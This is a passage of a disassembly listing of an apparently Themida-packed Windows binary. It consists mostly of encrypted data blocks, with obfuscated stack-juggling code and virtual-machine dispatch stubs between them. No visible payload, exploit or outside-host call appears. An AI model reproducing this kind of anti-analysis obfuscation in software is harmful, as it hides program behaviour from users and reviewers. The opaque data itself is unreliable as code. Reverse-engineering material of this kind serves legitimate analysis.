7464302Eh, 0FFFFFE86h, 0C184B3BFh dd 0D36A8A34h, 0CF1748D1h, 613ECED0h, 0BE95C20Eh, 6ADF642Fh dd 2A000002h, 8F80267Dh, 0F74A5C47h, 0F7C3DD67h, 0AD5DC0DFh dd 19F1F79h, 0B03ACA9Dh, 3A303F6h, 8916A030h, 11358515h dd 9D997508h, 574F5484h, 1B65E49Fh, 0DA5D9546h, 0B7EC6CBFh dd 0FE0B5FEFh, 0F2712A1Bh, 9114F853h, 0F1A88515h, 24775915h dd 93E809D6h, 0FB8B3EBBh, 0D4041D21h, 0D51FD7CFh, 9FE7D8CEh dd 3512A204h, 2EFA52E2h, 704C6FBBh, 56E07036h, 0DDC3534Bh dd 112778E1h, 4C6FB9EBh, 92D8AB5Eh, 0FBB4F56Eh, 6FB93FE5h dd 0CED2324Ch, 2AAAFDD0h, 2B752D79h, 4A9E2E78h, 53695A39h dd 427DAF0Ah, 677D36EFh, 465A5381h, 4DB301B4h, 465A53h dd 0A255FA4Dh, 60762FEAh, 465A53B8h, 5DA7FAADh, 0C37C6D2Ch dd 307E287Bh, 465A53C8h, 8677CA7Dh, 48211770h, 0DD6D2048h dd 9A0C9AE2h, 8CDA2D0Ah, 58486164h, 10F1438h, 623C64F0h dd 0FF889E8Fh, 38565A13h, 0D9159485h, 0AE425732h, 5FA961B4h dd 42CC5C42h, 0CC873F5Fh, 0F1811D84h, 92653967h, 58C4F53Fh dd 0EECB5B4Bh, 29712A1Bh, 0DF30977h, 405236FDh, 1967BA8Dh dd 5C24917Ch, 9B9626D9h, 3BB0C11Ch, 88DB0F6Dh, 245CEE3Ah dd 0AFEFB054h, 970F951Fh, 30292D07h, 0DA3F3B8Dh, 89C62D2Ah dd 5C4782h, 0B5340000h, 84C0FE36h, 93E684h, 0D73D530Ch dd 8AB581A9h, 5A2D792Ah, 208CBD07h, 5F502383h, 93C1F849h dd 7A0ABDBBh, 8D6C377Fh, 20FD8D19h, 8DE0BD4Dh, 6C41E53Fh dd 37F0E34Ch, 5FEFB7EFh, 41CC3482h, 0CE814C6Ch, 0FD50564Eh dd 69EE1E03h, 0DC6A41D6h, 3F920C94h, 0A77Dh, 247DC800h dd 0A7EFEA7Ah, 32E0C5FDh, 3756D56Eh, 0A4F7D464h, 97277F24h dd 5452549Ch, 1494E7C4h, 0F781118Dh, 813CF4AAh, 4F05C102h dd 82D57873h, 81E0EF34h, 0C2DCC5B5h, 6C5F60Ah, 1CA1FF15h dd 988BB96h, 0F2BBBE3Dh, 44947029h, 0CC096A12h, 4E01A6F9h dd 188E155Dh, 358D1660h, 0A27C79F2h, 6F2D00EEh, 30E8950Eh dd 1FC49C34h, 0E2000003h, 0DC26DEC0h, 0DB25DDC9h, 0D923DBCBh dd 0D51FD7C7h, 0B020D8CEh, 485E45C0h, 45594690h, 4561438Dh dd 405E438Dh, 576D6888h, 0B39671B1h dd 7DA926A4h, 7EC88026h, 66C37B23h, 0EA7A247Dh, 293F4160h dd 0B581A9C3h, 38F0C376h, 7A247DDBh, 0B04160EAh, 421FAFEFh dd 96A3B76Fh, 0CBACC2B3h, 6CBB93C5h, 4C9F859Bh, 1FD24C6Ch dd 8064BC4Ch, 0DA4C6C4Ch, 0C24CDCCAh, 0E030C0DEh, 0CE20A7BCh dd 9ABD49D2h, 0DA6A41D5h, 35h, 4D8D0C25h, 216CDBB5h, 0C3D87DAh dd 85465C4Dh, 0BABB93C9h, 0C51F7707h, 954C6C59h, 7C069610h dd 12EC7C2Ah, 2072150Eh, 480F3F24h, 2C6A41CEh, 0F4h, 7A247D77h dd 52BAD089h, 7B581A9h, 76710154h, 3CDF77F7h, 58863D69h dd 0F373C68Ah, 0DC66F6B0h, 0A0E8D9C5h, 320F9FFFh, 0D5544FDFh dd 98FD1173h, 37B70A2Dh, 647C346Ah, 0B5817A9Fh, 3AF2ACF5h dd 13C4007Fh, 7A0A1C42h, 28E8AAC3h, 0ACFF0AA1h, 3829752Ch dd 0F1B5F0h, 810802EAh, 318437B5h, 5D3C4DA1h, 6D3D566Ch dd 5F12BB93h, 287E266Eh, 0B068BB98h, 0BBAC6F9Ch, 7826CDA5h dd 0DCCD8042h, 0DF970F94h, 0AF556B24h, 0A2465879h, 7955BBD1h dd 55084658h, 0F4AF2F82h, 819DF4B2h, 17AF3ADAh, 1BD3Fh dd 405E4400h, 3F673E88h, 3D693D87h, 39653B85h, 3A6C3781h dd 0A75E1282h, 0A8F2AAFCh, 0A5EFA7F7h, 0A5EFA7FFh, 0CAEAA2FCh dd 7053B9CFh, 8806B396h, 0E1C40C0Bh, 0B1F272C5h, 0E4BC04F5h dd 0FA4D2ABAh, 0B8CE8742h, 0B581A950h, 7FFF5205h, 67C47C22h dd 0D2C386B3h, 93C10FBCh, 0ED7D30BBh, 6C415395h, 25950B4Ch dd 0FA3E46B0h, 9996CF1h, 0F080267Fh, 0C26D482Fh, 7E2FE8BDh dd 0CE20A7BCh, 9ABD49D2h, 0DA6A41EFh, 0BBh, 80267FC7h dd 129313F0h, 7DAE4194h, 60EA7A24h, 0D8D36343h, 3F921490h dd 81AE28F1h, 0DDC911B5h, 495D49C9h, 732B76F6h, 6E3071BBh dd 9A798ADEh, 30FE93A9h, 8403446Ch, 0A53699B8h, 0D86333A1h dd 9D912FF1h, 1FD277CAh, 0B6265367h, 0F2E3B6F0h, 1AAAFCAAh dd 0E3F9EA3Dh, 427B6C28h, 31796A1Dh, 0C29F2F6Fh, 6D367E6Fh dd 6C378139h, 0DC0F7C3Ah, 952D3ADBh, 0BDBDh, 405E4400h dd 3F673E88h, 3D693D87h, 39653B85h, 3A6C3781h, 0A75E1282h dd 0A8F2AAFCh, 0A5EFA7F7h, 0A5EFA7FFh, 0CAEAA2FCh, 7353B9CFh dd 8806B396h, 318D0C0Bh, 0AE21AF10h, 0E7BC3C8Fh, 0E4BD07BFh dd 7DA502BAh, 60EA7A24h, 91A55D41h, 68B0A160h, 2516693Dh dd 997A400Fh, 0B242F5BBh, 0BB417928h, 563E353Ch, 0C711C99Ch dd 6890A6DAh, 0DD4C6995h, 0E766572Ah, 9D7AF100h, 0F80EFF82h dd 4C69B110h, 0AF3F9245h, 7B9B3B57h, 72E7E32Bh, 0AA9B039Eh dd 0D2624462h, 0A0EAA2F5h, 830D9D01h, 4890811Dh, 64F44757h dd 3D9D868Ah, 38823A64h, 0CDA53569h, 0Ah, 0E2C40C30h, 45734C4h dd 257D1AB5h, 425FE979h, 6242CC5Ch, 752AB444h, 940F9929h dd 0ABF88212h, 0BFE16BFBh, 0E1C54FDFh, 0FAAB35C5h, 57391CACh dd 0C781E789h, 4, 4EF81h, 3C870000h, 4895C24h, 4716824h dd 2C890000h, 7FB96824h, 34890000h, 35BF5724h, 4F7DB86Ah dd 0EFC1E7D1h, 8FBB5306h, 1022A0Dh, 0FD895BDFh, 348B545Fh dd 4C48124h, 55000000h, 0BF243481h, 8F1CE912h, 0BA520846h dd 8, 3281F201h, 1CE912BFh, 24348B5Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55B50E ; --------------------------------------------------------------------------- db 1Fh dd 0E5C1ABA7h, 17DBA9B8h, 0FFC50306h, 6CC6BDE0h, 0CCA1F135h dd 0E03E5200h, 2145AA19h, 93EC1B5Ah, 6B81209h, 9ADBF43Eh dd 9F970278h, 4631CE65h, 0A636D53Ah, 0BA4AD23Fh, 431B743Fh dd 9263318h, 9F7F8D04h, 9979B957h, 86A0646Fh, 46AE4B09h dd 72714B25h, 0C8DAE04Ch, 9D14CD19h, 0A3B13154h, 30A48838h dd 21409144h, 968D8D7Ah, 6A0617DDh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0ED51C352h dd 0F9E16A4h, 689h, 3D858900h, 31061210h, 1214E585h, 0A18D8906h dd 6A061209h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 0C76BC352h, 12050585h, 602006h dd 13E900h, 3D320000h, 7FC63B63h, 0A6E69FF9h, 77BE5EE0h dd 664AE052h, 0D985C775h, 6121Bh, 8B000000h, 1218F99Dh dd 69B5FF06h, 6A06122Ah, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 0BF16C352h, 12BED2Eh dd 876F5EB3h, 48F0Fh, 0BE660000h, 95FF9F28h, 6121B31h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0D1C35545h dd 89A380BEh, 122055B5h, 0FF006A06h, 1219CD95h, 0EBC08B06h dd 0B9AE320Eh, 8CF70187h, 30CA1439h, 0E8E17A7Eh, 11h, 0AE309A0Bh dd 0A37FB0CFh, 0D147189Ah, 3FF4D540h, 6659F5AEh, 0C181DE8Bh dd 6D00h, 0A59D8B60h, 306121Bh, 122B1D8Dh, 31BA6106h, 810A846Dh dd 7BADDAC2h, 4DBD01F5h, 8B061214h, 299D8B01h, 8106120Dh dd 326DF5E8h, 0B1CB8166h, 815EED5Ah, 7F5BA3E8h, 8820F23h dd 60000000h, 66F1B70Fh, 8161DF8Bh, 3E4A08C0h, 0BEBE664Bh dd 0BF665007h, 18F414Dh, 1F918589h, 0E9810612h, 3F7D5FB6h dd 317DBD8Bh, 0C1810612h, 3F7D5FB2h, 6830Fh, 0B58B0000h dd 612261Dh, 1EA81h, 850F0000h, 1Bh, 3F3FEBBFh, 2AE957h dd 0D7E70000h, 7009952Eh, 335F5BCEh, 0FCDA4E0Eh, 8A8BC547h dd 0FF75E9DEh, 15C4FFFFh, 58C2F396h, 7346F4B6h, 0EF73C7BCh dd 0BEBD45F3h, 0DF638D8Dh, 6A0617h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0EC6A35C3h dd 114D9D89h, 8D0F0612h, 8, 0B9B58956h, 5806122Ch, 9A18D89h dd 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 16029C3h, 12057D8Dh, 0D68B6606h, 585C761h dd 88061205h, 6A00006Eh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 0AE9FC350h, 0A3DE013Ch dd 2C959D8Bh, 85C70612h, 6121BD9h, 0 ; --------------------------------------------------------------------------- mov esi, [ebp+61204D5h] push dword ptr [ebp+6121B85h] pusha mov [ebp+6123161h], esi jmp loc_5A4968 ; --------------------------------------------------------------------------- dd 0FD03923Bh, 92950135h, 0BD299D2Dh, 0EF7D573Ah, 1B1CDCDDh ; --------------------------------------------------------------------------- loc_5A4968: ; CODE XREF: Themida_:005A494Fj popa call dword ptr [ebp+6121B31h] movsx eax, di push 0 call dword ptr [ebp+61219CDh] mov eax, eax jmp short loc_5A49A6 ; --------------------------------------------------------------------------- mov esp, 3BE48766h xchg eax, ecx retf ; --------------------------------------------------------------------------- db 37h, 0F0h, 9Eh dd 5CC1D0A5h, 32622616h, 0A7419C69h, 0D8E52ADh, 0B23363B5h dd 0E6E5847Eh, 0A1FDD74Ch db 93h, 0B2h ; --------------------------------------------------------------------------- loc_5A49A6: ; CODE XREF: Themida_:005A497Cj jmp loc_5A49FB ; --------------------------------------------------------------------------- db 0A5h dd 179D7Ah, 57000000h, 434AC51Ch, 0F9366148h, 88A7A5ADh dd 0FB75528Ch, 9CBE00B7h, 7EE5ADF9h, 9D8993h, 921DF4C7h dd 0DE196063h, 8 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_5A49FB: ; CODE XREF: Themida_:loc_5A49A6j jmp loc_5A5500 ; --------------------------------------------------------------------------- push 617E0F2h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 617E262h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 617E361h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 617E419h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 617E50Ch jmp loc_54EA15 ; --------------------------------------------------------------------------- push 617E60Fh jmp loc_54EA15 ; --------------------------------------------------------------------------- push 617E6C0h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 617E87Bh jmp loc_54EA15 ; --------------------------------------------------------------------------- push 617E95Eh jmp loc_54EA15 ; --------------------------------------------------------------------------- dw 6053h dd 726656F4h, 827A6A08h, 9C928220h, 0B3A89836h, 0E140AD4Bh dd 78167E73h, 8F2D9188h, 0A846A69Fh, 0C260BEB8h, 0C9F162C3h dd 0D07600E7h, 0EA5C6BBDh, 0E73EA80Fh, 0AB289268h, 57621A0h dd 69FF8C23h, 93691462h, 0AD9D3B99h, 0F75255B3h, 51C26DF4h dd 70164690h, 0E54C6FB9h, 0EED8B1FBh, 59EDBEB8h, 363099E3h dd 0FDA840D8h, 527AEB74h, 596FE94Ah, 0CFC9A10Bh, 5A30D371h dd 0BD95FF63h, 76265C3h, 0C4281D04h, 68321D7Bh, 82851D5Dh dd 60E9942Ch, 2A2D958Ah, 36F76AD4h, 5769FC0Fh, 0B850B0A9h dd 35286FC6h, 2A78A73h, 95Dh, 4A20E01h, 18B62014h, 30CE3028h dd 46E44A40h, 5BF96156h, 2C2193EEh, 3F3626C4h, 544D3DDBh dd 6C6656F4h, 1071700Eh, 0E7779Fh, 21738676h, 64BB150Fh dd 293C1310h, 0F32586Bh, 1BB3B880h, 31C92B23h, 207E782Eh dd 63FEED82h, 828A47B8h, 6DBB69FBh, 85ED196Ah, 4C2575FBh dd 0FD41986Ch, 4B88DE2Fh, 2E000000h, 35E0636Ah, 97016B5Fh dd 3011830Ch, 0ECB06796h, 50679E3h, 4469FB4Ch, 393C9E96h dd 8EF6EBE3h, 0F29D358Bh, 56C0261Ch, 3D340A73h, 0D0FC6FD9h dd 875FB34h, 5BCD4F2Fh, 89ECDABFh, 7552BCBEh, 0DE2FD61Eh dd 10C65h, 150F0B00h, 0F61D79BBh, 8820AA75h, 72DACF85h dd 61BFB96Fh, 8BE7E0B6h, 0BC696B32h, 4C4FE73Dh, 0F3A98CF6h dd 72FD9BF9h, 6FE9FE51h, 7A40360Ch, 81841C86h, 0EFE9C12Bh dd 903F391h, 19AC62AFh, 0F38720DCh, 0AD4D631Eh, 3F42DA24h dd 0B4DC4DD6h, 0BB6FE9FFh, 0FFC1E95Ah, 7AC86FE9h, 0F0FB78E2h dd 0CC3DC671h, 6FE9FFA4h, 68F35DABh, 0FBFF4EF7h, 73115F69h dd 0A954EFDEh, 10A10938h, 7C762470h, 2A857322h, 0BA521F27h dd 756961B7h, 56C8730Bh, 61D205B0h, 6FEFE039h, 1A5EF240h dd 5AE54F74h, 7C278F84h, 0C1271DF3h, 0EFB0062Eh, 5DC7156Fh dd 92FAEFDFh, 41678BA0h, 0D2775A79h, 7EDh, 74127E71h, 88269084h dd 0A03EA098h, 0B654BAB0h, 0CB69D1C6h, 9C91035Eh, 0AFA69634h dd 0C4BDAD4Bh, 0DCD6C664h, 80E1E07Eh, 0E9E70Fh, 91E3F676h dd 5A521A0Fh, 2CB560F8h, 144665BAh, 992C8979h, 6FE95C71h dd 42C02A78h, 5CFA5852h, 0E0636A08h, 11C3C435h, 9C4A69FBh dd 0E83E41A5h, 0EE44D50h, 630FBA14h, 0E084B53Eh, 85EF4548h dd 0FB67E612h, 65451E75h, 2FDB3A91h, 0D481DEh, 0F270000h dd 360CB715h, 85DBDE3Ch, 8D82381Bh, 0B0D12225h, 606FE905h dd 0C76A0866h, 39440255h, 0B21CE467h, 0D782E0DAh, 0A5A80801h dd 0A702E54Fh, 1721DA4h, 69FB4058h, 0D2751361h, 40B0D849h dd 71BF75FBh, 10C45FDDh, 0C52FC306h, 13BE4548h, 79E3453Dh dd 935F7DEEh, 64AE7010h, 951DA170h, 7F2AC21Ah, 0AE4CB4A9h dd 64F9990Bh, 0D21007B2h, 75DF77DBh, 4E40A89Dh, 79414A4Bh dd 0EE761BFEh, 70000006h, 8373117Dh, 9787258Fh, 0AF9F3D9Fh dd 0C5B553B9h, 5DCA68D0h, 339B9002h, 4AAEA595h, 63C3BCACh dd 7DDBD5C5h, 0E7FE0DFh, 7600EAE6h, 0F90E2F5h, 2414B21Ah dd 4B21CC2Ah, 785EF55h, 1E998E64h, 0E90785ADh, 0AE46946Fh dd 76A9203h, 23716FE9h, 0EA5C7DB9h, 68F60D6h, 0EFC7318Fh dd 0DE9497F5h, 5DE886E4h, 6FE97131h, 6D18ABA2h, 0FF4420FCh dd 76216F69h, 4447A7A0h, 23F984EEh, 3D2DCB29h, 643AE543h dd 0BB9E086Eh, 8CDA6D60h, 0BCC6BDAFh, 2D55C671h, 3C760068h dd 39AB56EEh, 431EB36Dh, 18CF62Fh, 130C0390h, 0D2C41270h dd 794242BDh, 36F09578h, 28000006h, 3B2BC935h, 4F3FDD47h dd 6757F557h, 7D6D0B71h, 15822088h, 0EB5348BAh, 2665D4Dh dd 1B7B7464h, 35938D7Dh, 0C6379897h, 7600EB9Eh, 0F489AADh dd 0FEB4B715h, 0E8524604h, 0D6CFA550h, 721D7376h, 0E907D901h dd 2892E06Fh, 14862945h, 578CA3DDh, 0F7980297h, 9B0C9517h dd 6FE94973h, 0EAC22C7Ah, 11E792F0h, 5EB4B719h, 2A8176F4h dd 1FD81DBDh, 0FBA44CADh, 1F89C7DEh, 7E6h, 0A8208C00h dd 0CE000001h, 0E9074874h, 2FB2B96Fh, 2D25FB84h, 25EE61CBh dd 7469FEDAh, 0ABA57B26h, 5130A24Dh, 0D34C0824h, 0CF392D25h dd 8E0C76CCh, 9B46A49Eh, 1079A112h, 32807600h, 0A7CE5C8h dd 0D3236072h, 9D1A847Eh, 0B4A117AEh, 84187A72h, 0C159A130h dd 9518A516h, 0CB3D7012h, 6DAD27FEh, 0D1B01A39h, 0C7CA2A23h dd 0A6E7D971h, 83794223h, 543FBA0h, 281B0000h, 3A2E1EBCh dd 4A4232D0h, 645A4AE8h, 7B7060FEh, 0A9087513h, 40DE463Bh dd 57F55950h, 700E6E67h, 8A288680h, 91B92A8Bh, 987600ECh dd 150F3385h, 0D94BB4B7h, 150FA5C4h, 0CA5EB4B7h, 0B6201E75h dd 273E4DEh, 6FE9CBDAh, 0A79B93E1h, 86A2A53Dh, 241EEDCDh dd 138528C6h, 39CEB881h, 25026C01h, 0D81E59CEh, 8FF9EDC3h dd 93CC368Ch, 7, 0C12039h, 6ACE0000h, 0C435E063h, 69FED9E2h dd 4DB7AB81h, 0F4F76155h, 0F455349Eh, 0E65B83h, 7C146276h dd 9F05FBD1h, 11155A0Bh, 9C06D151h, 0E3413B11h, 0FD5B5545h dd 22847C52h, 0FA6CD5B8h, 0FC1AAF63h, 0AD1CADBEh, 1349604Bh dd 9994117Bh, 91895F0Ah, 6CD62C2Fh, 6DAF70E1h, 90DE7016h dd 0B7150FE5h, 12AE9A0Ch, 0E19443E7h, 0E9554870h, 7109576Fh dd 9F998907h, 0E8E33E41h, 7C3DAE59h, 8D69FB64h, 0B2364D3Fh dd 0FCDF7335h, 44057h, 0BF2B1E00h, 0D33D3121h, 0EB4D4535h dd 1675D4Dh, 167E7363h, 3EAC0B78h, 5343E149h, 6A5AF85Ch dd 83731171h, 8E8D2B89h, 0ED94BC2Dh, 889B7600h, 1202036h dd 6ACE0000h, 0C435E063h, 69FED9E2h, 403BE32Dh, 7D1CF470h dd 0DBB13AE5h, 0C57B7EE6h, 0F6568D0h, 3B350D77h, 554F3FDDh dd 0D14B73E4h, 4527600h, 7700696Ch, 0D1DE06h, 0A79FED76h dd 63E04AB2h, 0A52ED968h, 0D10C34h, 0C2201A76h, 0BC6A69BFh dd 0B6164C2h, 0D7E0973h, 7016A44Ch, 0AE842F7Dh, 0C8B856B4h dd 126D70CEh, 6CDD881Bh, 69FB2BABh, 0CFA294E2h, 2A73360Ah dd 38FA247h, 0DCCF0000h, 0EEE2D270h, 0FEF6E684h, 180EFE9Ch dd 2F2414B2h, 5DBC29C7h, 0F492FAEFh, 0BA90D04h, 24C2221Bh dd 3EDC3A34h, 456DDE3Fh, 547600EDh, 150FEF41h, 4FEB4B7h dd 0E487A3A6h, 8EE8DF72h, 0E78DECDh, 0C4BE8D6Dh, 0C132BB66h dd 6FE90F99h, 6AE852A0h, 9DF7F1C7h, 0B00B855Ch, 0E14BE3F7h dd 1DA4AD04h, 3CF4D8h, 6A9A0000h, 0C435E063h, 69FB4BEBh dd 6339E432h, 0E06B096Bh, 75FB54B3h, 0F41C8D16h, 0FB75FB54h dd 8B3CDCB1h, 0BC548223h, 22807A52h, 3A9C9484h, 1F8CE37h dd 0DA449A9Dh, 2EC13h, 160FC100h, 3FDB3B6h, 2A24FAA5h dd 973C9CCh, 43A19B8Bh, 0D2908A40h, 227477DBh, 378759DEh dd 30C8605Bh, 0E0B31385h, 1D6964E8h, 0ADA035B3h, 3DFA6B16h dd 4C69FBD5h, 0BC92FBFEh, 0A6063C3h, 0B3012DA0h, 603975FBh dd 2B55AC80h, 339CDE30h, 42000000h, 0FAE4636Ah, 0E4DAAF02h dd 0D94AF58Dh, 69FB42D8h, 0CF202371h, 75FB2DA3h, 585BC5B9h dd 4245ADA2h, 0DF4E2EE5h, 7C503009h, 0DE2FA125h, 0CD6Ch dd 150F1200h, 754BB4B7h, 0D9B11B7Dh, 0C1251CE4h, 76702629h dd 655F1518h, 0BDDE6907h, 536FE905h, 6D5DFB59h, 0B7121573h dd 0D51931B4h, 9056E552h, 23DC4DF8h, 2A69FBB1h, 0A2A93EDCh dd 6D03741Fh, 4701057h, 0D0D3372Eh, 0D031107Ah, 0EF07375Fh dd 60F8466Fh, 93BB2CB5h, 9A6FEF07h, 941CE550h dd 0CC64F631h, 17056238h, 0FF69A73Eh, 1D15EB74h, 0F862B8BBh dd 25C32B20h, 70561082h, 0EA7C6103h, 388E91F1h, 695E36A0h dd 56580F01h, 0AA8D7941h, 1D405h, 2B978A00h, 3FA99D8Dh dd 57B9B1A1h, 6DD3C9B9h, 82EADFCFh, 0AA1877E4h, 0BFAF4DB5h dd 0D6C664C8h, 0EFDF7DDDh, 0FAF997F5h, 0EF002899h, 0FC0F7600h dd 0B21A0FAAh, 0CC2A2414h, 636ADA2Eh, 0C3C435E0h, 4A69FB11h dd 7CA8F9FCh, 0B475FB1Eh, 0F079FBDBh, 0FB1E577Fh, 0AE186675h dd 2F917AD1h, 0BBC1DEh, 0A6180000h, 7E0B8E62h, 83BF298Ch dd 0B4B7150Fh, 9EA109FEh, 0E9052C4Dh, 2CEAE46Fh, 16CCCF37h dd 8C24BC1Eh, 0A604FEEEh, 0C24548A3h, 6401E448h, 0B0B1137Ah dd 27E372FEh, 0C34CF78Fh, 8D90F8EDh, 0A15ACD37h, 0A869FB5Dh dd 9D3DAF5Ah, 2AD1CEA0h, 4068D984h, 4F75FBFEh, 84199701h dd 0C64FFA89h, 0FBFE2D55h, 84EE3C75h, 0A55188F9h, 2E7C7010h dd 50B8AD83h, 65CDC2B2h, 41B47273h, 5F04E779h, 0F1h, 700E7A6Dh dd 84228C80h, 9C3A9C94h, 0B250B6ACh, 0C765CDC2h, 988DFF5Ah dd 0ABA29230h, 0C0B9A947h, 0D8D2C260h, 7CDDDC7Ah, 0F0E30Bh dd 85D7EA76h, 14B21A0Fh, 2ECC2A24h, 0B7150FDAh, 0A604FEB4h dd 89787308h, 0E8932B95h, 0FED9BE77h, 7E81CF69h, 0C570CEC8h dd 3F33F9EFh, 0E47CD2D5h, 120CFC7Ah, 0BF48B1B4h, 0E6264Eh dd 0DF473C76h, 0B52892E0h, 847B76F7h, 6B65231Dh, 1CB40A0Dh dd 0C1C0C719h, 42011177h, 0EAED554Ah, 25F4D493h, 72C8CB2Dh dd 0A4843BDAh, 0D27DDBD5h, 349E08FCh, 6ECCC6B6h, 46BFB56Bh dd 86E3ADD5h, 779F1087h, 868786E3h, 53EB3938h, 3DA59A50h dd 2C8A843Ah, 2C0CC529h, 856524BDh, 0D0382D03h, 350D77CDh dd 4F3FDD3Bh, 764CF755h, 0CEB11B7Fh, 1429h, 0A95D700h dd 0F6414798h, 37A8688Eh, 6FE9BC0Fh, 0CE38D01Eh, 0B01C0F92h dd 9FFDF7ADh, 8DEDE69Ch, 79DDD48Ah, 63CBC076h, 4DB5AA60h dd 389E944Ah, 25877F35h, 0E786C22h, 89504D0Bh, 405E0h dd 0E8830000h, 24048704h, 5624248Bh, 0C681E689h, 4, 4EE81h dd 34870000h, 2C895C24h, 33046824h, 0C890000h, 68535024h dd 4E6E6807h, 3DC3815Bh, 89B7A978h, 0C5895BD8h, 0C8B5458h dd 4C48124h, 68000000h, 1EB7h, 89241489h, 85189EAh, 2434FF5Ah dd 4C48359h, 5D2434FFh, 4C481h, 1AE90000h, 21FFFA95h, 2C20DEECh ; --------------------------------------------------------------------------- loc_5A5500: ; CODE XREF: Themida_:loc_5A49FBj mov eax, 617EA74h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 8Fh, 9Fh, 9Bh dd 6676F052h, 7D4F4614h, 0C12C6709h, 0E5BEB06Fh, 128EC711h dd 98092718h, 0BF9CD26Bh, 4DD1BE69h, 0F4308363h, 88DC3E13h dd 0FC407366h, 2226946Fh, 6E334636h, 61581341h, 2D099B4Fh dd 3A210B4Dh, 0E512B5Ah, 24EB74h, 8 dup(0) dd 0E9000000h, 0BDh, 0EB3DB589h, 858B0617h, 61207ADh, 2F8D858Bh dd 0B58D0612h, 617EB87h, 4986858Dh, 0D0FF0615h, 0E855C3h dd 5D000000h, 0EB8DED81h, 0BD830617h, 61207ADh, 2C850F01h dd 0FF000000h, 17EB3DB5h, 8D858B06h, 3506122Fh, 34812736h dd 13CD0FFh, 0A850Fh, 1B80000h, 0E9000000h, 47h, 40E9C033h dd 6A000000h, 41B58D1Ch, 560617EBh, 0EB3DB5FFh, 858B0617h dd 6122F8Dh, 81273635h, 83D0FF34h, 0B58D0CC4h, 617EB41h dd 8314468Bh, 0F88304E0h, 7840F04h, 33000000h, 5E9C0h dd 1B80000h, 83000000h, 1207ADBDh, 850F0106h, 7, 2E9C35Dh dd 5D000000h, 66858DCFh, 890617EBh, 120ED585h, 0BEE906h dd 0BC110000h, 945D8Dh, 50000h, 10000h, 0A280000h, 20000h dd 2Ah dup(0) ; --------------------------------------------------------------------------- jmp loc_5A6179 ; --------------------------------------------------------------------------- push 617EE5Eh jmp loc_54EA15 ; --------------------------------------------------------------------------- push 617EF4Eh jmp loc_54EA15 ; --------------------------------------------------------------------------- push 617F023h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 617F082h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 617F189h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 617F1E4h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 617F4B3h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 617F5BAh jmp loc_54EA15 ; --------------------------------------------------------------------------- db 56h, 63h, 0F7h dd 0B756959h, 23857D6Dh, 399F9585h, 4EB6AB9Bh, 76E443B0h dd 8B7B1981h, 0A2923094h, 0BBAB49A9h, 0C6C563C1h, 0F4CCF465h dd 0C0D37600h, 0B7150F6Eh, 4604FEB4h, 0C03FF24Ch, 0F38A466Eh dd 6A02585Bh, 9A3437CCh, 0E95E0129h, 22BA086Fh, 75490677h dd 2A7869FBh, 0DD4CBE27h, 0CF2F2880h, 2EE276CCh, 76E95366h dd 75FB874Ah, 0F5C9A982h, 0DE2FFE9Eh, 2CAA2193h, 2CA487E1h dd 2789C2h, 0AE00000h, 53A9AC16h, 636AADE9h, 0C3C435E0h dd 4A69FB11h, 7CA8F9FCh, 0B475FB1Eh, 0D027FBDBh, 17DE2F91h dd 0B9h, 0B7150FBDh, 4109FEB4h, 90E6E947h, 453FF5F8h, 342EE4E7h dd 80188276h, 2B457E2h, 0CFA56FE9h, 310973D9h, 0B628DD37h dd 1D746A5Fh, 3C68DA85h, 6325592Dh, 0FE96FCF2h, 2C261694h dd 594D23CEh, 2C96ECEFh, 64FFEE49h, 0BC9F48B9h, 60AE69FBh dd 0A33E2DC2h, 5F5887F8h, 27757010h, 49B1A67Ch, 5EC6BBABh dd 4207346Ch, 9B402379h, 853h, 700E7A6Dh, 84228C80h, 9C3A9C94h dd 0B250B6ACh, 0C765CDC2h, 988DFF5Ah, 0ABA29230h, 0C0B9A947h dd 0D8D2C260h, 7CDDDC7Ah, 0F5E30Bh, 85D7EA76h, 14B21A0Fh dd 2ECC2A24h, 7614198Bh, 15BA6643h, 8FC4779Bh, 0B822BA17h dd 0E0636A7Ch, 11C3C435h, 9C4A69FBh, 930A46A4h, 0A0D0F733h dd 4AF0508h, 0FB116B93h, 8C247275h, 110C3889h, 6B4475FBh dd 8560B78Bh, 0C4A7DE2Fh, 4D000000h, 0B4B7150Fh, 0F6A109FEh dd 7D4FC6Dh, 8DDB6FE9h, 4CEF4023h, 0C06FE903h, 0DACA68C6h dd 247F82E0h, 7EEF9A29h, 69FB0AD5h, 0A8CEC638h, 2CE57B7Fh dd 64D33598h, 0C32D697Ch, 15EB96E4h, 63B9BC1Ch, 0E7E67BF9h dd 2240B15Ch, 0ED701060h, 341D07A3h, 53EB71BAh, 7AD8D2A8h dd 0BAAF8510h, 3B11B452h, 84DADD47h, 0E54D421Ah, 4188ABF3h dd 18BDA079h, 763h, 60FE6A5Dh, 74127C70h, 8C2A8C84h, 0A240A69Ch dd 0B755BDB2h, 887DEF4Ah, 9B928220h, 0B0A99937h, 0C8C2B250h dd 6CCDCC6Ah, 0F6D3FBh, 75C7DA76h, 14B21A0Fh, 21CC2A24h dd 8452D7AFh, 0D2432D23h, 6FE9EFAAh, 61CB63B1h, 746A40E3h dd 0F68A40Eh, 0FA625715h, 609A1F7h, 5AF85650h, 903BC6C5h dd 